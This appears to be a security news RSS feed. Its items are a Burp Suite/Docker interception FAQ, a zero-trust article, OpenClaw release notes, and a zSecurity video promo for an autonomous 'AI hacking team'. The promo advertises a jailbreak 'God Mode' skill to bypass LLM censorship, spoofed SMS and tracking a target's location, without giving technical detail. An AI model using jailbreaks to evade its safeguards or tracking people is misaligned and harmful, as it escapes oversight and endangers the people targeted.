alt="" src="https://cdn-images-1.medium.com/max/687/1*rnZ6ESAKF6bGe90e3VawxQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5UzsBY9bYZKqhkPaJDr7DQ.png"><figcaption>Docker + Burp Simple FAQ</figcaption></figure><h4>❓ If I open a Docker web app in browser, is browser proxy enough to capture traffic?</h4><blockquote>Yes ✅<br> Browser → Burp Suite → Docker app<br> This is enough for basic testing.</blockquote><h4>❓ Then why do blogs use complex Docker + Burp setup?</h4><blockquote>Because not all traffic comes from the browser. Some requests are made directly by the container.</blockquote><h4>❓ When is browser proxy enough?</h4><blockquote>When you manually use the website in a browser (manual testing like login, forms, XSS, etc.).</blockquote><h4>❓ When do you need Docker proxy setup?</h4><blockquote>When the container itself sends requests, such as:</blockquote><blockquote>backend API calls</blockquote><blockquote>microservices communication</blockquote><blockquote>CLI tools inside container</blockquote><blockquote>external HTTP requests (curl, requests, etc.)</blockquote><h4>❓ Simple difference?</h4><blockquote>Browser proxy = captures what <em>you click in browser</em></blockquote><blockquote>Docker proxy = captures what <em>container sends automatically</em></blockquote><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="http://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a></p><p><em>#BugBounty #WebSecurity #EthicalHacking #Hinglish #InfoSec #securityTalent </em>#CyberSecurity #BurpSuite #Docker #WindowsSecurity #PenetrationTesting #MITM #ProxyInterception #DockerDesktop #WSL2 #Infosec #WebApplicationSecurity #AppSec #RedTeam #EthicalHacking #APIsecurity #PowerShell</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=4060a8ff1a4d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/intercepting-docker-application-requests-using-burp-suite-on-windows-4060a8ff1a4d">Intercepting Docker Application Requests Using Burp Suite on Windows</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I Built an AI Hacking Team with Hermes Agent (And YOU can too)]]></title>
<description><![CDATA[Author: zSecurity - Bewertung: 48x - Views:245 Build a 24/7 AI Hacking Team on the Cloud with Hermes Agent (Step-by-Step Setup + Dashboard Kanban). Get Hermes Agent in 1 click with Hostinger. Use the code ZSECURITY to get up to 73% discount👇
https://www.hostinger.com/zsecurityhermes

Hermes Agent...]]></description>
<link>https://tsecurity.de/de/3553716/videos/i-built-an-ai-hacking-team-with-hermes-agent-and-you-can-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3553716/videos/i-built-an-ai-hacking-team-with-hermes-agent-and-you-can-too/</guid>
<pubDate>Thu, 28 May 2026 12:16:31 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: zSecurity - Bewertung: 48x - Views:245 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/zwV5p1L0COI?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Build a 24/7 AI Hacking Team on the Cloud with Hermes Agent (Step-by-Step Setup + Dashboard Kanban). Get Hermes Agent in 1 click with Hostinger. Use the code ZSECURITY to get up to 73% discount👇<br />
https://www.hostinger.com/zsecurityhermes<br />
<br />
Hermes Agent is a self-improving AI agent designed to execute complex multi-step technical workflows on its own. In today’s video you’ll learn how to set it up with:<br />
<br />
✅ C2 via Telegram: Launch tasks from your phone. <br />
✅ God Mode skill to bypass LLM censorship using integrated jailbreak techniques. <br />
✅ Parallel Execution and proper handoff thanks to the** Kanban board.<br />
✅ Use it for any hacking task!<br />
<br />
We'll use all of this to find exact location of a target autonomously without us doing anything!<br />
<br />
All Resources and links are included in the latest post in our website, zSecurity.<br />
---------------------------------------------------------------<br />
<br />
🧠 Learn how to use AI for Hacking and Hack AI in my Hacking Masterclass 👇<br />
https://zsecurity.org/courses/masterclass-membership/<br />
<br />
🧠 My other hacking courses 👇<br />
https://zsecurity.org/courses/<br />
<br />
---------------------------------------------------------------<br />
zSecurity Company - https://zsecurity.com/<br />
Community - https://zsecurity.org/<br />
Facebook - https://www.facebook.com/ZSecurity-1453250781458287/<br />
Twitter - https://twitter.com/_zSecurity_<br />
Instagram - https://www.instagram.com/zsecurity_org/<br />
Linkedin - https://www.linkedin.com/company/zsecurity-org/<br />
TikTok - https://www.tiktok.com/@zsecurity_org<br />
--------------------------------------------------------------<br />
<br />
⏱️ Timestamps:<br />
00:00 AI Hacking Team Intro<br />
01:21 Why Agent Frameworks<br />
02:27 One Click Cloud Install<br />
05:06 Hermes Setup Wizard<br />
05:42 OpenRouter Model Key<br />
07:44 Telegram Bot Control<br />
09:57 Test Commands and Chat<br />
10:55 Launch Dashboard Access<br />
13:01 SSH Port Forwarding<br />
15:03 Dashboard Skills Profiles<br />
18:40 Kanban Task Workflow<br />
22:28 Parallel Agent Tasks<br />
24:50 Verification and Completion<br />
26:04 Send Spoofed SMS Demo<br />
27:35 Location Tracking Results<br />
28:06 Wrap Up and Next Steps<br />
<br />
---------------------------------------------------------------<br />
⚠️ This video is made for educational purposes only, we only test devices and systems that we own or have permission to test, you should not test the security of devices that you do not own or do not have permission to test. ⚠️<br />
---------------------------------------------------------------<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zero trust isn’t broken, but most companies are doing it wrong]]></title>
<description><![CDATA[Zero trust is 15 years old, and like many teenagers, it can feel misunderstood and underappreciated.



The concept of zero trust was first defined by John Kindervag, a Forrester analyst at the time, as a strategy to replace the outmoded perimeter security model with a “never trust, always verify...]]></description>
<link>https://tsecurity.de/de/3551862/it-security-nachrichten/zero-trust-isnt-broken-but-most-companies-are-doing-it-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3551862/it-security-nachrichten/zero-trust-isnt-broken-but-most-companies-are-doing-it-wrong/</guid>
<pubDate>Wed, 27 May 2026 18:38:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Zero trust is 15 years old, and like many teenagers, it can feel misunderstood and underappreciated.</p>



<p>The concept of zero trust was first defined by <a href="https://www.linkedin.com/in/john-kindervag-40572b1/">John Kindervag</a>, a Forrester analyst at the time, as a strategy to replace the outmoded perimeter security model with a “never trust, always verify” approach. But going from principle to practice isn’t easy.</p>



<p><a href="https://www.accenture.com/content/dam/accenture/final/accenture-com/document-3/State-of-Cybersecurity-report.pdf#zoom=40" target="_blank" rel="noreferrer noopener">Accenture</a> reports that 88% of organizations have encountered significant challenges implementing zero trust. In a recent <a href="https://www.gartner.com/en/newsroom/press-releases/2024-04-22-gartner-survey-reveals-63-percent-of-organizations-worldwide-have-implemented-a-zero-trust-strategy" target="_blank" rel="noreferrer noopener">Gartner</a> survey, 35% of respondents who indicated that they either attempted or partially attempted a zero-trust initiative suffered failures that adversely affected their organization. “Gartner has observed numerous instances of failed zero-trust initiatives among end users who lacked a strategic and measurable plan,” the report says.</p>



<p>At last year’s DefCon 33 conference, U.K. security researchers from AmberWolf <a href="https://www.networkworld.com/article/4039042/def-con-research-takes-aim-at-ztna-calls-it-a-bust.html" target="_blank">poked holes in zero trust</a> by identifying potential vulnerabilities in zero-trust network access (ZTNA) offerings from three vendors. “It turns out there are no magic ZTNA beans; we’ve got the same old bug classes reimagined for a new technology stack,” said AmberWolf researcher Richard Warren. “Rather than zero trust, we’re actually putting a lot of trust into these vendors to process our data securely.”  </p>



<p><a href="https://www.linkedin.com/in/mjhaber/">Morey Haber</a>, author and chief security advisor at BeyondTrust, sums up the state of zero trust in 2026 this way: “We all agree: zero trust is necessary. But it’s been hard to implement.” Haber describes the gap between intention and execution as “massive” during a <a href="https://www.computerworld.com/video/4084071/is-zero-trust-failing-or-just-misunderstood.html" target="_blank">Today in Tech episode</a> focused on whether zero trust is failing or just misunderstood. “It doesn’t matter what you read or which framework you follow,” Haber said during the podcast. “The core issue is that we have a concept with principles and tenets, but not enough guidance on how to implement it.”</p>



<p>Here are some myths and misconceptions associated with zero trust, as well as tips on how to avoid the pitfalls and successfully implement zero trust.</p>



<h2 class="wp-block-heading">Myth: Zero trust is a product</h2>



<p>Even after 15 years, there is still considerable confusion about what zero trust is. It answers to many definitions—strategy, philosophy, concept, mindset, and architecture.</p>



<p>Chase Cunningham<em>, </em>who bills himself as <a href="https://www.drzerotrust.com/" target="_blank" rel="noreferrer noopener">DrZeroTrust</a>, says,”Security is not a product, but a combination of strategy, process, and execution. Zero trust is not just an architecture—it’s a mindset. There is no zero-trust product, period.”</p>



<p>Haber agrees. “You have vendors claiming to sell “zero-trust” products, which is misleading. There’s no such thing as a zero-trust product. Products implement security controls, but they don’t embody zero-trust principles.”</p>



<p>He cautions, “If a vendor says, ‘This remote access solution achieves zero-trust principles,’ that’s great, but I have yet to see one that delivers more than 10%-15% of the required controls.”</p>



<p>Gartner adds, “The concept of zero trust is a security approach that organizations adopt to mitigate access risks associated with networks, applications, and associated data. This is frequently overshadowed by vendor marketing, which tends to promise high expectations but often delivers suboptimal results.”</p>



<h2 class="wp-block-heading">Myth: Zero trust is a technology</h2>



<p><a href="https://www.utsystem.edu/offices/information-security/chief-information-security-officer" target="_blank" rel="noreferrer noopener">George Finney</a>, CISO at the University of Texas and author of two books on zero trust, tells <em>Network World</em> that zero trust is not a technology; in other words, it’s not micro-segmentation to block lateral movement by attackers; it’s not policy-based identity to control who gets access to enterprise resources. Those are tools and tactics that help implement zero trust.</p>



<p>Zero trust at its core is a way of thinking about risk that requires breaking down silos among security teams, networking groups, business units, compliance, and risk management functions, according to Finney.</p>



<p>The first pillar of zero trust, as defined by Kindervag, is identifying the highest-priority protect surfaces in the organization. Kindervag says that unless the organization has a clear understanding of what the crown jewels are, there’s no way a zero-trust project can be successful. Kindevag adds that IT doesn’t necessarily know what those high-value protect surfaces are, but business leaders do, and that’s where a zero-trust initiative should start.</p>



<p>The second pillar of zero trust is to map transaction flows associated with those mission-critical protect surfaces. Again, this requires coordination and collaboration with teams running key enterprise applications. This is particularly important in today’s multi-cloud environments, where a specific business process can span on-prem, edge, cloud, containers, microservices, etc.</p>



<p>“It’s not a technology issue at the end of the day that makes it hard,” Finney says. It’s people issues, cultural issues, and politics. He recommends that organizations think holistically about securing sensitive data across all attack surfaces, including endpoints, remote users, IoT devices, LLMs, AI agents, etc.</p>



<p>Gartner adds, “It is not a product or technology-focused exercise but rather a methodology driven by the organization’s overall objective and priorities.”</p>



<h2 class="wp-block-heading">Myth: Zero trust is expensive  </h2>



<p>Finney says zero trust does not have to break the bank. “A lot of folks think it’s going to be too expensive, but it doesn’t have to be,” he adds. Here are key steps on the road to zero trust that don’t involve buying anything<strong>.</strong></p>



<p><strong>Identifying high-value protect surfaces. </strong>This requires thinking like an attacker and pinpointing the assets that an attacker is most likely to consider valuable. Finney adds, “In a given protect surface, you might have multiple controls that all have to be working together to remove those trust relationships.”  </p>



<p><strong>Creating a zero-trust team</strong>. Finney says most organizations already have governance, risk management, and compliance teams that can be brought into a comprehensive zero-trust task force that includes security and networking groups. Gartner adds, “A zero-trust strategy must be initiated at the executive level and integrated across all departments and teams.”</p>



<p><strong>Education. </strong>Education is critical, says Finney. “It’s helping folks see the big picture. It gets people out of their silos.”Finney adds that a major challenge is political, having to deal with a fragmented organization in which many stakeholders are dismissive of security because it’s not what they’re measured on. For example, application developers who are under the gun to get software out the door aren’t necessarily incentivized to bake security into their processes. <strong> </strong></p>



<p><strong>Creating a strategy. </strong>“When I talk to boards of directors, they understand that to be successful in any part of the business, you need to have a strategy. That resonates from the top,” says Finney. <strong></strong></p>



<p>In its analysis of why zero-trust initiatives fail, Gartner says, “The lack of a business-aligned strategic plan has led to ineffective governance, miscommunication, poor risk management, minimal budget allocation, poor execution of the organizational security objectives, and inefficient use of limited resources.”</p>



<p><strong>Defining an architecture: </strong>Every organization is different, so there is no boilerplate architecture that can be applied everywhere. Organizations need to write a specific architecture that fits their business needs, their level of risk tolerance, their specific vertical industry, and their unique technology infrastructure.</p>



<p><strong>Setting and applying policies. </strong>Again, there is no line item associated with writing access control and identity management policies.  </p>



<p><strong>Leveraging existing tools.</strong> It’s important to realize that nobody is starting from zero.</p>



<p>Most organizations already have multi-factor authentication or single sign-on in place, they already have identity management, network management, web application firewalls, etc. The key is to integrate and align existing technology and identify gaps where new tools might be needed.</p>



<p>Speaking to AmberWolf’s point that attackers can always find bugs in vendor software, zero-trust advocates counter that zero trust implies defense in depth. So, even if there’s a flaw that allows an attacker to gain end-user credentials and access the network, there will be multiple security controls in place, such as incident detection, micro-segmentation, monitoring of end-user sessions, and controls that prevent access to and exfiltration of sensitive data.</p>



<h2 class="wp-block-heading">Myth: Zero trust is difficult to implement</h2>



<p>Zero trust doesn’t have to be hard to implement if organizations follow widely disseminated guidance provided by <a href="https://nvlpubs.nist.gov/nistpubs/specialpublications/NIST.SP.800-207.pdf" target="_blank" rel="noreferrer noopener">NIST</a>, numerous books, webinars, podcasts, experts, consultants, and more.</p>



<p>Finney recommends starting small and showing quick wins. Zero trust can’t be implemented all at once across a large organization; it requires a targeted, methodical strategy.</p>



<p>The preferred approach is to start with those high-value protect surfaces and apply tools that support the overall architecture in a coordinated, consistent, managed, and monitored fashion.  </p>



<p>“An overall strategy can deploy different tactics,” Finney says. “You want to think about what will have the biggest impact on your organization today.” He says organizations need to make informed data-driven decisions based on logs, metrics, and other data, while factoring in an analysis of what attackers are doing vs. the specific vulnerabilities and weak points in the organization’s defenses.</p>



<p>Gartner states: “Narrowing the scope of initiatives or projects within the zero-trust program is essential for attaining a zero-trust posture within practical and reasonable timeframes. Organizations define overly expansive future target states by incorporating an excessive number of systems, applications, use cases, or datasets in the initial phase—or by proposing overly intricate and granular policy sets. They will encounter scalability and cost challenges, along with extended project timelines.”</p>



<h2 class="wp-block-heading">Myth: AI breaks ZTNA</h2>



<p>Enterprises are racing to deploy generative AI and unleash semi-autonomous AI agents. This new world of black box large language models (LLM) and non-human identities (NHI) raises concerns that zero trust is an outdated strategy that’s not up to the challenge.</p>



<p>Leading zero-trust proponents are pushing back, however, arguing that the core principles still apply. “With AI, zero trust is more important than ever,” says Finney. “Zero trust is a strategy; we don’t change the strategy because AI came out. AI proves how important that strategy is.”</p>



<p>“AI is not magic,” he adds. “We secure it the same way we secure everything else. We integrate it into the tech stack and monitor it.”</p>



<p>Kindervag, currently chief evangelist at Illumio, concurs. “AI doesn’t change the fundamentals of zero trust. It reinforces them. Zero trust is the strategy that allows you to safely embrace AI. Without strict segmentation, policy enforcement, and control over data flows, AI becomes another soft and chewy center waiting to be exploited.” He adds, “You don’t need a new security strategy for AI. You just need to apply the right one. That’s zero trust.”</p>



<h2 class="wp-block-heading">Myth: There’s no way to measure success</h2>



<p>Any project that seeks support from the board and C-suite, needs to be able to justify itself through some sort of metrics. Zero trust is no exception, but how do you measure “not getting hacked?”</p>



<p>Gartner says teams should use outcome-driven metrics that link zero-trust initiatives directly to business objectives.“It’s crucial to focus on schedule adherence, cost discipline, and control effectiveness,” says Gartner. “Focus on outcomes like reduced breach incidents, improved compliance rates, and enhanced operational efficiency. Additionally, identify specific risks, such as lateral movement, data breaches, account takeovers, and insider threats, which are essential to drive value, and organizations can better justify investments and drive continuous improvement.”</p>



<h2 class="wp-block-heading">Myth: Zero-trust projects have a completion date</h2>



<p>Zero trust is more about the journey than the destination,” Finney says. He points out that organizations are constantly growing and changing. At the same time, attackers are evolving. “Zero trust is a strategy. You’re never done with a strategy,” he adds.</p>



<p>Kindervag’s final pillar of zero trust is to monitor and maintain. In other words, organizations need to be actively monitoring to make sure that access control policies are not being violated. And the zero-trust implementation needs to keep pace with changing business needs.</p>



<p>And since zero trust calls for organizations to focus on the highest value protect surfaces first, there are always additional protect surfaces that can be added under the zero-trust umbrella.</p>



<p>When Finney looks back on how things have evolved over the past 15 years, he is encouraged by the fact that tools have improved dramatically. Teams can now apply AI and machine learning to functions like anomaly detection or incident detection and response. And there are now ways to automate tasks like networking monitoring or policy enforcement.</p>



<p>“Overall, I’m feeling guardedly optimistic,” Finney says, “but the work is not done. We need to continue to make strides.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.5.26]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.
Transcript...]]></description>
<link>https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</guid>
<pubDate>Wed, 27 May 2026 13:46:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.</li>
<li>Transcripts are core: transcript-backed meeting summaries, source-provider chunks, cleaned user turns, media provenance, Codex mirrors, WebChat replies, and CLI/TUI replay now use one more reliable transcript path.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots, remote media staging, and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage/WhatsApp get reaction approvals.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>Safer content boundaries: Browser snapshot reads honor SSRF policy, system-event text cannot spoof nested prompt markers, fetched file text is wrapped as external content, ClickClack inbound sender allowlists run before agent dispatch, stale device tokens are rejected, and serialized tool-call text is scrubbed from replies.</li>
<li>Providers, Codex, and local models are steadier: named auth profiles, OpenAI sampling params, Codex app-server resume/timeout/usage-limit recovery, dynamic tool-schema guards, xAI usage-limit surfacing, Ollama top-p normalization, and local approval resolution reduce provider-specific dead ends.</li>
<li>More reliable install/update/release paths: Alpine installs, trusted runtime fallback roots, stable update channels, Docker/package timeouts, Windows Scheduled Tasks, Windows/macOS proof lanes, Testbox/Crabbox delegation, plugin publish checks, and macOS runner bootstraps all got hardened.</li>
<li>Better observability: Activity tab, gateway secret-prep traces, tool/model stream progress, explicit fast-mode status, systemd Gateway hygiene, OpenTelemetry LLM spans, release performance evidence, and richer telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs, CLI surface, source-provider chunks, and cleaned user-turn persistence.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>TUI/status: queue prompts submitted while an agent is busy and show explicit fast-mode state plus richer systemd Gateway hygiene in status output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</li>
<li>Exec approvals: hide durable approval actions that are unavailable for the current prompt and keep approval runtime tokens local-only so stale prompts cannot offer misleading controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513659607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86270" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86270/hovercard" href="https://github.com/openclaw/openclaw/pull/86270">#86270</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514921556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86359" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86359/hovercard" href="https://github.com/openclaw/openclaw/pull/86359">#86359</a>)</li>
<li>Plugin SDK: add reaction approval helpers and keep diagnostic event root exports discoverable across function-name and alias-bound module graphs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520951336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86735/hovercard" href="https://github.com/openclaw/openclaw/pull/86735">#86735</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
